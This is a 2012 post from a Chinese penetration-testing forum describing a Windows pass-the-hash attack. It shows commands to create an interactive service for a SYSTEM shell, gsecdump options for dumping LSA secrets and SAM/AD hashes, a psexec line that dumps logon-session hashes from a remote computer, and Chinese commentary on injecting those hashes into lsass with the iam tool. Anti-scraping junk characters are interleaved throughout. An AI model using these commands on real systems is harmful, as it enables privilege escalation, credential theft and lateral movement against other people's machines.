中国网络渗透测试联盟
标题:
HASH注入式攻击
[打印本页]
作者:
admin
时间:
2012-11-6 21:09
标题:
HASH注入式攻击
o get a DOS Prompt as NT system:
: r4 j4 w6 a% ~# G( z3 l+ g# \
: L( A5 N$ @% g! O3 w" i
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
5 l4 V6 X5 X# {, c3 L
[SC] CreateService SUCCESS
) H8 z, x, C0 ^( e
8 x& `4 @' l/ l) _7 _; c4 g0 P2 J
C:\>sc start shellcmdline
, O$ N" _3 ?- R" q* d
[SC] StartService FAILED 1053:
$ N: ] H( ]/ [
% d. o# }0 n8 y* [7 i
The service did not respond to the start or control request in a timely fashion.
8 D4 A D" b; Y) D, g: U. T/ G
2 s' F6 [% H, T3 a, C0 S- B
C:\>sc delete shellcmdline
' H1 ~9 i* i; X5 Y6 l
[SC] DeleteService SUCCESS
C- N+ ?* j" x" A" G0 F
. O C, o9 M% u/ k& s) p
------------
) a4 s3 U L2 T3 G; I( {2 x
0 m! C3 |( \! Q
Then in the new DOS window:
! v% ~' }" C5 K0 M- A
; z. p/ e) t }6 h- H- s# P, F8 A
Microsoft Windows XP [Version 5.1.2600]
7 L/ X0 ~( ~5 s q
(C) Copyright 1985-2001 Microsoft Corp.
% f4 v; C) m9 V# c
" F* A! A3 g3 Q: J% h0 x
C:\WINDOWS\system32>whoami
- A4 v! i. I- c( j
NT AUTHORITY\SYSTEM
# x$ \3 |: [3 u" K( ?9 T# w
3 W7 ]4 b5 M. ` U
C:\WINDOWS\system32>gsecdump -h
, C+ H/ f" v; f! h$ s6 K. F% ^
gsecdump v0.6 by Johannes Gumbel (
链接标记
johannes.gumbel@truesec.se
)
6 p4 a: w, F" k/ U" ]+ X1 [
usage: gsecdump [options]
9 E0 c+ F5 j2 R4 \( ^& V4 U
% {( b) A; ]! }. e. _2 g
options:
2 J" [% t! l6 M' N; u$ X* `5 |5 c
-h [ --help ] show help
3 Y3 l8 A7 e: H+ _
-a [ --dump_all ] dump all secrets
7 Q; a& u/ F* i4 ~6 |. \
-l [ --dump_lsa ] dump lsa secrets
0 r2 g# G/ H. Y, R8 T& r) }( i% M5 Q
-w [ --dump_wireless ] dump microsoft wireless connections
2 q) t+ r/ J \9 V" y" \/ G
-u [ --dump_usedhashes ] dump hashes from active logon sessions
* Z1 y" d( w4 d, Z
-s [ --dump_hashes ] dump hashes from SAM/AD
4 @& Y: x( G$ D0 C
8 n+ F6 i+ m- Q& n
Although I like to use:
8 b z4 m8 e- R5 o2 ]
% ? p. Y! p+ G: E
PsExec v1.83 - Execute processes remotely
% M$ N: }0 K2 p. u3 e$ N( L
Copyright (C) 2001-2007 Mark Russinovich
5 G: w# O8 |- N2 |: O+ V
Sysinternals -
链接标记[url]www.sysinternals.com
[/url]
6 [; }: Z1 b! w
( j( s" r: a. D; j2 \
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
8 o1 v0 o0 Y% r( M# [0 E
2 [5 D5 g( \& } R! Q
to get the hashes from active logon sessions of a remote system.
* s/ w8 k) `6 Q Z# p/ _) @ q
; ^( W% o0 m3 Z" u6 I. w
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
; h6 o+ ^- F, a8 S# T
6 p; R+ p* q- I8 n5 {, b) ~) r
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
5 k: C- n+ V. s9 l k- n
原文出处:
链接标记[url]http://truesecurity.se/blogs/mur
... -text-password.aspx[/url]
/ Y+ y3 v- |$ H: m% b
7 O: v0 q8 P- k3 V5 i1 j- U# s
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
; G$ e3 ?6 p0 p. }# }# o; F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2